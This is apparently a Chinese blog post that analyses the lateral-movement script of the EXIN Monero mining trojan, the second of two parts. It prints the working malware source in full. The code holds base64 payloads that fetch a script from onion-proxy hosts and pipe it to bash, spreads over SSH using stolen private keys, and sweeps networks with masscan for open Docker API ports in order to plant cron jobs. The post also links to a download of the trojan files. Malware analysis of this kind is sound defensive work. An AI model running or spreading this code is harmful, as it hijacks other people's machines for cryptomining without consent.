EXIN挖矿木马之横向渗透分析
在上一篇挖矿木马调试分析的文章中,已经分析了整个木马的主体部分,但由于篇幅过长,对于该木马横向渗透的部分还没有分析。所以今天再次对整个木马的源码进行复盘,补充上次分析中的疏漏之处。
该文算是上篇木马分析的下半部分,没有看过上一篇文章的朋友可以点击下面的链接看一下,彻底清除exin木马的命令也在里面。
记一次门罗币挖矿木马脚本调试分析
在上一次调试分析中,,我们得到了所有木马可能用到的文件链接。
但是在调试分析的过程中,并不可能一次走完所有的分支流程,这就造成了对部分木马文件的疏漏。所以我这次就将所有的木马文件链接提取出来一并下载整理归纳。
下载链接:exin.zip
这次就是分析RHNM3文件,该木马的横向渗透部分。代码量相对于上次也是少了很多,不过木马作者横向渗透的思路也是很值得我们学习的。我们还是直接看源码。
#!/bin/bash SHELL=/bin/bash PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin sh="dW5zZXQgSElTVEZJTEU7ZnVuY3Rpb24gZDEoKXsgY3VybCAtLXJldHJ5IDIgLS1jb25uZWN0LXRpbWVvdXQgMjYgLS1tYXgtdGltZSA3NSAtLXVzZXItYWdlbnQgJ01vemlsbGEvNS4wIChYMTE7IExpbnV4IHg4Nl82NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzUxLjAuMjcwNC4xMDMgU2FmYXJpLzUzNy4zNicgLWZzU0xrICQxOyB9O2Z1bmN0aW9uIGQyKCl7IHdnZXQgLS10cmllcz0yIC0tY29ubmVjdC10aW1lb3V0PTI2IC0tdGltZW91dD03NSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlIC0tdXNlci1hZ2VudD0nTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvNTEuMC4yNzA0LjEwMyBTYWZhcmkvNTM3LjM2JyAtcU8tICQxOyB9O3UxPSJodHRwczovL2VrbnI3M3V0cjd1N2J6d28ub25pb24ud3Mvd3AtY29udGVudC9KNk04NlYiO3UyPSJodHRwczovL2VrbnI3M3V0cjd1N2J6d28ub25pb24ubHkvd3AtY29udGVudC9KNk04NlYiO3UzPSJodHRwczovL2VrbnI3M3V0cjd1N2J6d28udG9yMndlYi5zdS93cC1jb250ZW50L0o2TTg2ViI7KGQxICR7dTF9fHxkMSAke3UyfXx8ZDEgJHt1Mn18fGQyICR7dTF9fHxkMiAke3UyfXx8ZDIgJHt1M30pfC9iaW4vYmFzaCAmJwo=" cr="TUFJTFRPPScnClNIRUxMPS9iaW4vYmFzaApQQVRIPS91c3IvbG9jYWwvc2JpbjovdXNyL2xvY2FsL2Jpbjovc2JpbjovYmluOi91c3Ivc2JpbjovdXNyL2JpbgoqLzUgKiAqICogKiByb290IGZ1bmN0aW9uIGQxKCl7IGN1cmwgLS1yZXRyeSAyIC0tY29ubmVjdC10aW1lb3V0IDI2IC0tbWF4LXRpbWUgNzUgLS11c2VyLWFnZW50ICdNb3ppbGxhLzUuMCAoWDExOyBMaW51eCB4ODZfNjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS81MS4wLjI3MDQuMTAzIFNhZmFyaS81MzcuMzYnIC1mc1NMayAkMTsgfTtmdW5jdGlvbiBkMigpeyB3Z2V0IC0tdHJpZXM9MiAtLWNvbm5lY3QtdGltZW91dD0yNiAtLXRpbWVvdXQ9NzUgLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAtLXVzZXItYWdlbnQ9J01vemlsbGEvNS4wIChYMTE7IExpbnV4IHg4Nl82NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzUxLjAuMjcwNC4xMDMgU2FmYXJpLzUzNy4zNicgLXFPLSAkMTsgfTt1MT0iaHR0cHM6Ly9la25yNzN1dHI3dTdiendvLm9uaW9uLndzL3dwLWNvbnRlbnQvSjZNODZWIjt1Mj0iaHR0cHM6Ly9la25yNzN1dHI3dTdiendvLm9uaW9uLmx5L3dwLWNvbnRlbnQvSjZNODZWIjt1Mz0iaHR0cHM6Ly9la25yNzN1dHI3dTdiendvLnRvcjJ3ZWIuc3Uvd3AtY29udGVudC9KNk04NlYiOyhkMSAke3UxfXx8ZDEgJHt1Mn18fGQxICR7dTJ9fHxkMiAke3UxfXx8ZDIgJHt1Mn18fGQyICR7dTN9KXwvYmluL2Jhc2ggJgo=" if [ "$(command -v ssh|wc -l)" -eq 1 ]; then if [ ! -f /etc/ssh/modulus ]; then if [ -d /root/.ssh ]; then hb=('/root') else hb=() fi for i in $(find /home -mindepth 1 -maxdepth 1 -type d); do if [ -d $i/.ssh ]; then hb+=("$i") fi done for hd in {hb[@]}; do if [ -f $hd/.ssh/known_hosts ] && [ "$(find $hd/.ssh -type f -name "id_*" -print|wc -l)" -ne 0 ]; then for i in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" $hd/.ssh/known_hosts); do ssh -oBatchMode=yes -oStrictHostChecking=no -oConnectTimeOut=8 -t root@$i "unset HISTFILE;echo ${sh}|base64 -d|/bin/bash" & done fi done touch -amr /etc/ssh/ssh_config /etc/ssh/modulus fi fi
很明显作者在开头部分用base64编码了sh和cr两段字符串,我们直接在bash下解码查看。
同样解码$cr变量。
接着分析下面的逻辑。
先判断是否有ssh命令,再判断是否有/etc/ssh/modulus 文件。因为正常的主机/etc/ssh/目录下是没有modulus文件的。
仅有一个moduli的文件,我猜测作者是创建一个modulus的文件作为判断依据,而文件名又和moduli相似,混淆视听。
判断root下是否有.ssh目录,熟悉linux的朋友都知道,这个目录主要是用于ssh密钥文件以及之前ssh连接的一些主机信息的。
先判断每个用户下是否有id*文件,分别是自己的私钥和公钥,如果有说明当前主机之前使用密钥连接过其他主机。通过这种方式可以很容易地横向渗透其他主机并植入挖矿脚本。
if [ "$(command -v masscan|wc -l)" -eq 0 ]; then if [ -f /usr/bin/apt-get ]; then DEBIAN_FRONTEND=noninteractive apt-get install -y masscan iproute2 >/dev/null 2>&1 elif [ -f /usr/bin/yum ]; then yum install -y masscan iproute2 >/dev/null 2>&1 elif [ -f /usr/bin/pacman ]; then pacman -S -y masscan iproute2 >/dev/null 2>&1 elif [ -f /usr/bin/up2date ]; then up2date install -y masscan iproute2 >/dev/null 2>&1 fi fi
然后判断是否安装了masscan扫描工具以及iproute2(也就是ip命令),没有就根据当前不同系统用对应的命令安装,方便进一步横向渗透。
masscan目前是最快的互联网端口扫描器,最快可以在六分钟内扫遍互联网。采用了异步传输的方式。它和这些扫描器最主要的区别是,它比这些扫描器更快。而且,masscan更加灵活,它允许自定义任意的地址范和端口范围。
起初我也在思考为什么作者一定要用masscan而不用nmap。后来用木马作者的参数试了一下,发现masscan的异步扫描速度是真的快,比nmap效率要高得多。对于这种批量渗透的场景,效率确实很重要。
if [ "$(command -v masscan|wc -l)" -eq 1 ] && [ "$(command -v ip|wc -l)" -eq 1 ] && [ "$(command -v docker|wc -l)" -eq 1 ]; then if [ ! -f /var/log/alternatives.log.1 ]; then eval sl="/var/log/$(head /dev/urandom|tr -dc A-Za-z0-9|head -c $(shuf -i 6-11 -n 1))" mkdir -p /var/log ip -o -f inet a show|awk '/scope global/ {print $4}'|xargs masscan "$@" --ports 2375 --rate=60000 -oG ${sl} sed -i -e 's/^Host: \([0-9.]*\).*Ports: \([0-9]*\).*$/\1:\2/g' -e '/Masscan/d' -e '/scanned/d' ${sl} while read i; do docker -H tcp://$i run --rm -v /:/mnt busybox chroot /mnt sh -c "echo ${cr}|base64 -d|tee /etc/cron.d/crontab" done < ${sl} rm -f ${sl} touch -amr /var/log/boot.log /var/log/alternatives.log.1 fi if [ ! -f /var/log/alternatives.log.2 ]; then eval sl="/var/log/$(head /dev/urandom|tr -dc A-Za-z0-9|head -c $(shuf -i 6-11 -n 1))" mkdir -p /var/log masscan "$(curl -fsSLk --max-time 6 https://ipinfo.io/ip)/24" --ports 2375 --rate=60000 -oG ${sl} sed -i -e 's/^Host: \([0-9.]*\).*Ports: \([0-9]*\).*$/\1:\2/g' -e '/Masscan/d' -e '/scanned/d' ${sl} while read i; do docker -H tcp://$i run --rm -v /:/mnt busybox chroot /mnt sh -c "echo ${cr}|base64 -d|tee /etc/cron.d/crontab" done < ${sl} rm -f ${sl} touch -amr /var/log/boot.log /var/log/alternatives.log.2 fi fi exit 0
当masscan,ip,docker都同时可用的情况下,判断/var/log/alternatives.log.1和/var/log/alternatives.log.2文件是否存在,这两个和上面的/etc/ssh/modulus文件的作用都相同,都是标志文件。
然后将网段作为参数传递给masscan,以此直接扫描整个内网的其他主机,若发现开放了2375端口,就利用docker未授权访问写入上面$cr的内容写入主机的crontab执行下载木马。
同样,木马作者肯定不止于扫描内网,会访问https://ipinfo.io/ip这个网站接口获取你的公网ip,以此来扫描你c段的2375端口然后入侵。
接着我按照作者的参数试了一下,扫描了我主机当前的b段。
虽然可能不一定准确,不过效率非常之高,而且发现的数量也很多。可见木马作者的收益应该不少。
另外在另一个脚本中,前一篇文章也简单提过。
毕竟为了实现利益最大化,黑产之间的对抗也可谓是 八仙过海,各显神通!
赞赏微信赞赏支付宝赞赏
4条评论